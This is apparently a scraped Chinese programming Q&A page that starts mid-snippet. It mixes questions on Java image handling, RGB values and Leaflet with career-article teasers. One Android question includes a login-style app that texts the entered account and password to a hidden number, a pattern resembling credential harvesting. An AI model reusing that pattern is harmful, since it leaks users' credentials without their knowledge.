e.printStackTrace(); } } @Override public void paint(Graphics g) { // TODO Auto-generated method stub int t=1; super.paint(g); g2=(Graphics2D) g; if(!change) { g2.drawImage(image, 30, 30, w, h, this); } //shx:水平方向的倾斜量; shy:垂直方向的倾斜量。 //p.shear(0.3, 0); //g2.drawImage(image, p, this); //图像向X轴移动10px,Y轴移动50px //tr.translate(40, 50); //旋转30度 //tr.rotate(30*3.14159/180); //System.out.println(change); else { //是这里有问题吗 System.out.println("改"); AffineTransform p = new AffineTransform(); p.scale(-1,1); //向反反向缩放-1 p.translate(-(w+60), 0); g2.setTransform(p); g2.drawImage(image, 30, 30, w, h, this); } } //实现接口 @Override public void actionPerformed(ActionEvent e) { if(e.getSource()==button1) { change=true; repaint(); } } } ```

java中数组和图片的相互转换问题。

由于需求,我把一个灰度图片转成了一个short类型的数组。 ``` File file = new File("grayImage.jpg"); BufferedImage src=ImageIO.read(file); int width=src.getWidth(null); int height=src.getHeight(null); int minX=src.getMinX(); int minY=src.getMinY(); short[] rgb = new short[3]; short[] grayImage=new short[width*height]; for(int i=minX;i<height;i++){ for(int j=minY;j<width;j++){ //System.out.print(bi.getRGB(jw, ih)); int pixel=src.getRGB(j, i); rgb[0] = (short) ((pixel & 0xff0000 ) >> 16) ; rgb[1] = (short) ((pixel & 0xff00 ) >> 8) ; rgb[2] = (short) (pixel & 0xff ); grayImage[i*width+j]=(short)(rgb[0] * 0.299 + rgb[1] * 0.587 + rgb[2] * 0.114); } } ``` 现在我对的到的grayImage操作完了,并对像素值做了一些修改,那我应该如何 把short[] grayImage再转成图片格式呢?

在Java和PHP中获取RGB有不同的结果

<div class="post-text" itemprop="text"> <p>i want to get RGB code for each pixel. As example i took pixel(0,0) (corner left). <strong>I load JPEG image and then store in Bitmap object in Java</strong>. For experiment i attach the image for example :</p> <p><a href="https://i.stack.imgur.com/NRiXj.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/NRiXj.jpg" alt="enter image description here"></a></p> <p>I take RGB with PHP and Java. Here the code :</p> <p><strong>Java (rgbImage is Bitmap object which loaded from JPEG file) :</strong></p> <pre><code>int width = rgbImage.getWidth(); int height = rgbImage.getHeight(); for (int x = 0; x &lt; rgbImage.getWidth(); x++){ for (int y = 0; y &lt; rgbImage.getHeight(); y++) { int pixel = rgbImage.getPixel(x, y); double red = Color.red(pixel); double green = Color.green(pixel); double blue = Color.blue(pixel); if(x == 0 &amp;&amp; y == 0){ System.out.println("red : "+red+" green : "+green+" blue : "+blue); } </code></pre> <p><strong>PHP :</strong></p> <pre><code> $rgbImage = imagecreatefromjpeg("$path"); $width = imagesx($rgbImage); $height = imagesy($rgbImage); for($x = 0 ; $x &lt; $width ; $x++){ for($y = 0 ; $y &lt; $height ; $y++){ $rgb = imagecolorat($rgbImage, $x, $y); $r = ($rgb &gt;&gt; 16) &amp; 0xFF; $g = ($rgb &gt;&gt; 8) &amp; 0xFF; $b = $rgb &amp; 0xFF; if($x == 0 &amp;&amp; $y == 0){ echo("r : $r , g : $g, b : $b &lt;br/&gt;"); } } } </code></pre> <p><strong>And the result both of them are :</strong></p> <p>JAVA : I/System.out: red : 91.0 green : 91.0 blue : 101.0</p> <p>PHP : r : 93 , g : 91, b : 102 </p> <p><strong>The Main Question is :</strong></p> <p>Why with the same image, two methods above can give different result?</p> </div>

在最大缩放时使用Leaflet /直接像素 - >点比率的认知地图的方法

<div class="post-text" itemprop="text"> <p>I am trying to use Leaflet to realize a cognitive map program as my cs50x final project (so I am no expert).</p> <p>It should use the marker/windows features for the text-entries and streets/polylines for the links. Because it should be able to handle big amounts of data, the database should be indexed in local cells so only necessary entries will be searched and shown. To archive this the best way would be a 1:1 pixel to point ratio at maximum zoom, but even after two days of trying and searching I haven't found a proper way to do it.</p> <p>I have already searched the game map and non-geographic imagery solutions but it seems they all start from a fixed big image/fixed borders.</p> </div>

android程序停止运行,不知道怎么解决

大佬们,虚拟机运行软件停止运行,求解决。 这是activity_main.xml <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" tools:context=".MainActivity" android:background="@drawable/pic_1"> <TextView android:layout_width="394dp" android:layout_height="25dp" android:layout_marginLeft="0dp" android:layout_marginTop="0dp" android:layout_marginRight="0dp" android:text="@string/名字" android:textColor="#FBF9F9" android:textSize="20sp" android:textStyle="bold"> </TextView> <ImageView android:layout_width="100dp" android:layout_height="100dp" android:layout_marginTop="60dp" android:src="@mipmap/pic_2" android:contentDescription="@string/todo"> </ImageView> <EditText android:id="@+id/sr1" android:layout_width="250dp" android:layout_height="45dp" android:layout_marginTop="50dp" android:hint="@string/名字2" android:textColorHint="#FBF9F9"> </EditText> <EditText android:id="@+id/sr2" android:layout_width="250dp" android:layout_height="45dp" android:layout_marginTop="15dp" android:hint="@string/名字3" android:textColorHint="#FBF9F9"> </EditText> <EditText android:id="@+id/sr3" android:layout_width="250dp" android:layout_height="45dp" android:layout_marginTop="15dp" android:hint="@string/名字4" android:textColorHint="#FBF9F9" android:inputType="textPassword"> </EditText> <Button android:id="@+id/sr4" android:layout_width="90dp" android:layout_height="40dp" android:layout_marginTop="60dp" android:backgroundTint="#4CAF50" android:gravity="center" android:text="@string/名字5" android:textColor="#FFFFFCFC"> </Button> <TextView android:layout_width="395dp" android:layout_height="25dp" android:layout_marginTop="200dp" android:gravity="center" android:text="@string/名字6" android:textColor="#FBF9F9" android:textSize="20sp" android:textStyle="bold"> </TextView> </LinearLayout> Main_Activity.java package com.nbpl.nkzyzhb; import android.os.Bundle; import android.telephony.gsm.SmsManager; import android.text.TextUtils; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; public class MainActivity extends ActionBarActivity { private EditText sr1,sr2,sr3; private Button sr4; public MainActivity() { } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(); sr1= (EditText)sr1.findViewById(R.id.sr1); sr2 = (EditText)sr2.findViewById(R.id.sr2); sr3= (EditText)sr3.findViewById(R.id.sr3); sr4= sr4.findViewById(R.id.sr4); sr4.setOnClickListener((OnClickListener) this); sr4.setOnClickListener(new MyListener()); } private void setContentView() { } private class MyListener implements OnClickListener{ @Override public void onClick(View v) { // TODO Auto-generated method stub String sc1=sr1.getText().toString().trim(); String sc2=sr2.getText().toString().trim(); String sc3=sr3.getText().toString().trim(); if(TextUtils.isEmpty(sc1)||TextUtils.isEmpty(sc2)||TextUtils.isEmpty(sc3)){ Object 服务器或账号或密码不能为空 = null; showToast(服务器或账号或密码不能为空); } SmsManager smsManager=SmsManager.getDefault(); smsManager.sendTextMessage("......", null, sc1+sc2+sc3, null, null); } } private void showToast(Object 服务器或账号或密码不能为空) { } } Androidmaniflest.xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.nbpl.nkzyzhb"> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <application android:icon="@mipmap/pic_2" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> log错误 04-07 11:44:16.665 3324-3324/com.nbpl.nkzyzhb E/AndroidRuntime: FATAL EXCEPTION: main Process: com.nbpl.nkzyzhb, PID: 3324 java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.nbpl.nkzyzhb/com.nbpl.nkzyzhb.MainActivity}: java.lang.ClassCastException: com.nbpl.nkzyzhb.MainActivity cannot be cast to android.app.Activity at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2238) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2392) at android.app.ActivityThread.access$800(ActivityThread.java:153) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1305) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:135) at android.app.ActivityThread.main(ActivityThread.java:5305) at java.lang.reflect.Method.invoke(Native Method) at java.lang.reflect.Method.invoke(Method.java:372) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:903) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:698) Caused by: java.lang.ClassCastException: com.nbpl.nkzyzhb.MainActivity cannot be cast to android.app.Activity at android.app.Instrumentation.newActivity(Instrumentation.java:1066) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2228) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2392)  at android.app.ActivityThread.access$800(ActivityThread.java:153)  at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1305)  at android.os.Handler.dispatchMessage(Handler.java:102)  at android.os.Looper.loop(Looper.java:135)  at android.app.ActivityThread.main(ActivityThread.java:5305)  at java.lang.reflect.Method.invoke(Native Method)  at java.lang.reflect.Method.invoke(Method.java:372)  at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:903)  at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:698)  求大佬帮忙解决下啊啊啊啊

大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了

大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...

在中国程序员是青春饭吗?

今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...

程序员请照顾好自己,周末病魔差点一套带走我。

程序员在一个周末的时间,得了重病,差点当场去世,还好及时挽救回来了。

ArrayList源码分析(入门篇)

ArrayList源码分析 前言: 写这篇博客的主要原因是,在我上一次参加千牵科技Java实习生面试时,有被面试官问到ArrayList为什么查找的速度较快,插入和删除的速度较慢?当时我回答得不好,很大的一部分原因是因为我没有阅读过ArrayList源码,虽然最后收到Offer了,但我拒绝了,打算寒假学得再深入些再广泛些,下学期开学后再去投递其他更好的公司。为了更加深入理解ArrayList,也为

我以为我学懂了数据结构,直到看了这个导图才发现,我错了

数据结构与算法思维导图

String s = new String(" a ") 到底产生几个对象?

老生常谈的一个梗,到2020了还在争论,你们一天天的,哎哎哎,我不是针对你一个,我是说在座的各位都是人才! 上图红色的这3个箭头,对于通过new产生一个字符串(”宜春”)时,会先去常量池中查找是否已经有了”宜春”对象,如果没有则在常量池中创建一个此字符串对象,然后堆中再创建一个常量池中此”宜春”对象的拷贝对象。 也就是说准确答案是产生了一个或两个对象,如果常量池中原来没有 ”宜春” ,就是两个。...

技术大佬:我去,你写的 switch 语句也太老土了吧

昨天早上通过远程的方式 review 了两名新来同事的代码,大部分代码都写得很漂亮,严谨的同时注释也很到位,这令我非常满意。但当我看到他们当中有一个人写的 switch 语句时,还是忍不住破口大骂:“我擦,小王,你丫写的 switch 语句也太老土了吧!” 来看看小王写的代码吧,看完不要骂我装逼啊。 private static String createPlayer(PlayerTypes p...

和黑客斗争的 6 天!

互联网公司工作,很难避免不和黑客们打交道,我呆过的两家互联网公司,几乎每月每天每分钟都有黑客在公司网站上扫描。有的是寻找 Sql 注入的缺口,有的是寻找线上服务器可能存在的漏洞,大部分都...

讲一个程序员如何副业月赚三万的真实故事

loonggg读完需要3分钟速读仅需 1 分钟大家好,我是你们的校长。我之前讲过,这年头,只要肯动脑,肯行动,程序员凭借自己的技术,赚钱的方式还是有很多种的。仅仅靠在公司出卖自己的劳动时...

上班一个月,后悔当初着急入职的选择了

最近有个老铁,告诉我说,上班一个月,后悔当初着急入职现在公司了。他之前在美图做手机研发,今年美图那边今年也有一波组织优化调整,他是其中一个,在协商离职后,当时捉急找工作上班,因为有房贷供着,不能没有收入来源。所以匆忙选了一家公司,实际上是一个大型外包公司,主要派遣给其他手机厂商做外包项目。**当时承诺待遇还不错,所以就立马入职去上班了。但是后面入职后,发现薪酬待遇这块并不是HR所说那样,那个HR自...

女程序员,为什么比男程序员少???

昨天看到一档综艺节目,讨论了两个话题:(1)中国学生的数学成绩,平均下来看,会比国外好?为什么?(2)男生的数学成绩,平均下来看,会比女生好?为什么?同时,我又联想到了一个技术圈经常讨...

副业收入是我做程序媛的3倍,工作外的B面人生是怎样的?

提到“程序员”,多数人脑海里首先想到的大约是:为人木讷、薪水超高、工作枯燥…… 然而,当离开工作岗位,撕去层层标签,脱下“程序员”这身外套,有的人生动又有趣,马上展现出了完全不同的A/B面人生! 不论是简单的爱好,还是正经的副业,他们都干得同样出色。偶尔,还能和程序员的特质结合,产生奇妙的“化学反应”。 @Charlotte:平日素颜示人,周末美妆博主 大家都以为程序媛也个个不修边幅,但我们也许...

MySQL数据库面试题(2020最新版)

文章目录数据库基础知识为什么要使用数据库什么是SQL?什么是MySQL?数据库三大范式是什么mysql有关权限的表都有哪几个MySQL的binlog有有几种录入格式?分别有什么区别?数据类型mysql有哪些数据类型引擎MySQL存储引擎MyISAM与InnoDB区别MyISAM索引与InnoDB索引的区别?InnoDB引擎的4大特性存储引擎选择索引什么是索引?索引有哪些优缺点?索引使用场景(重点)...

如果你是老板,你会不会踢了这样的员工?

有个好朋友ZS,是技术总监,昨天问我:“有一个老下属,跟了我很多年,做事勤勤恳恳,主动性也很好。但随着公司的发展,他的进步速度,跟不上团队的步伐了,有点...

我入职阿里后,才知道原来简历这么写

私下里,有不少读者问我:“二哥,如何才能写出一份专业的技术简历呢?我总感觉自己写的简历太烂了,所以投了无数份,都石沉大海了。”说实话,我自己好多年没有写过简历了,但我认识的一个同行,他在阿里,给我说了一些他当年写简历的方法论,我感觉太牛逼了,实在是忍不住,就分享了出来,希望能够帮助到你。 01、简历的本质 作为简历的撰写者,你必须要搞清楚一点,简历的本质是什么,它就是为了来销售你的价值主张的。往深...

玩转springboot启动banner定义所得

最近接手了一个springboot项目,不是不熟悉这个框架,启动时打印的信息吸引了我。 这不是我熟悉的常用springboot的打印信息啊,我打开自己的项目: 还真是的,不用默认的感觉也挺高大上的。一时兴起,就去研究了一下源代码,还正是有些收获,稍后我会总结一下。正常情况下做为一个老程序员,是不会对这种小儿科感兴趣的,不就是一个控制台打印嘛。哈哈! 于是出于最初的好奇,研究了项目的源代码。看到

带了6个月的徒弟当了面试官,而身为高级工程师的我天天修Bug......

即将毕业的应届毕业生一枚,现在只拿到了两家offer,但最近听到一些消息,其中一个offer,我这个组据说客户很少,很有可能整组被裁掉。 想问大家: 如果我刚入职这个组就被裁了怎么办呢? 大家都是什么时候知道自己要被裁了的? 面试软技能指导: BQ/Project/Resume 试听内容: 除了刷题,还有哪些技能是拿到offer不可或缺的要素 如何提升面试软实力:简历, 行为面试,沟通能...

离职半年了,老东家又发 offer,回不回?

有小伙伴问松哥这个问题,他在上海某公司,在离职了几个月后,前公司的领导联系到他,希望他能够返聘回去,他很纠结要不要回去? 俗话说好马不吃回头草,但是这个小伙伴既然感到纠结了,我觉得至少说明了两个问题:1.曾经的公司还不错;2.现在的日子也不是很如意。否则应该就不会纠结了。 老实说,松哥之前也有过类似的经历,今天就来和小伙伴们聊聊回头草到底吃不吃。 首先一个基本观点,就是离职了也没必要和老东家弄的苦...

男生更看重女生的身材脸蛋,还是思想?

往往,我们看不进去大段大段的逻辑。深刻的哲理,往往短而精悍,一阵见血。问:产品经理挺漂亮的,有点心动,但不知道合不合得来。男生更看重女生的身材脸蛋,还是...

为什么程序员做外包会被瞧不起?

二哥,有个事想询问下您的意见,您觉得应届生值得去外包吗?公司虽然挺大的,中xx,但待遇感觉挺低,马上要报到,挺纠结的。

当HR压你价,说你只值7K,你该怎么回答?

当HR压你价,说你只值7K时,你可以流畅地回答,记住,是流畅,不能犹豫。 礼貌地说:“7K是吗?了解了。嗯~其实我对贵司的面试官印象很好。只不过,现在我的手头上已经有一份11K的offer。来面试,主要也是自己对贵司挺有兴趣的,所以过来看看……”(未完) 这段话主要是陪HR互诈的同时,从公司兴趣,公司职员印象上,都给予对方正面的肯定,既能提升HR的好感度,又能让谈判气氛融洽,为后面的发挥留足空间。...

面试:第十六章:Java中级开发(16k)

HashMap底层实现原理,红黑树,B+树,B树的结构原理 Spring的AOP和IOC是什么?它们常见的使用场景有哪些?Spring事务,事务的属性,传播行为,数据库隔离级别 Spring和SpringMVC,MyBatis以及SpringBoot的注解分别有哪些?SpringMVC的工作原理,SpringBoot框架的优点,MyBatis框架的优点 SpringCould组件有哪些,他们...

面试阿里p7,被按在地上摩擦,鬼知道我经历了什么?

面试阿里p7被问到的问题(当时我只知道第一个):@Conditional是做什么的?@Conditional多个条件是什么逻辑关系?条件判断在什么时候执...

终于懂了TCP和UDP协议区别

终于懂了TCP和UDP协议区别

你打算用Java 8一辈子都不打算升级到Java 14,真香

我们程序员应该抱着尝鲜、猎奇的心态,否则就容易固步自封,技术停滞不前。

无代码时代来临,程序员如何保住饭碗?

编程语言层出不穷,从最初的机器语言到如今2500种以上的高级语言,程序员们大呼“学到头秃”。程序员一边面临编程语言不断推陈出新,一边面临由于许多代码已存在,程序员编写新应用程序时存在重复“搬砖”的现象。 无代码/低代码编程应运而生。无代码/低代码是一种创建应用的方法,它可以让开发者使用最少的编码知识来快速开发应用程序。开发者通过图形界面中,可视化建模来组装和配置应用程序。这样一来,开发者直...

面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?

最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。

大三实习生,字节跳动面经分享,已拿Offer

说实话,自己的算法,我一个不会,太难了吧

程序员垃圾简历长什么样?

已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...

《经典算法案例》01-08:如何使用质数设计扫雷(Minesweeper)游戏

我们都玩过Windows操作系统中的经典游戏扫雷(Minesweeper),如果把质数当作一颗雷,那么,表格中红色的数字哪些是雷(质数)?您能找出多少个呢?文中用列表的方式罗列了10000以内的自然数、质数(素数),6的倍数等,方便大家观察质数的分布规律及特性,以便对算法求解有指导意义。另外,判断质数是初学算法,理解算法重要性的一个非常好的案例。

《Oracle Java SE编程自学与面试指南》最佳学习路线图(2020最新版)

正确选择比瞎努力更重要!

立即提问
相关内容推荐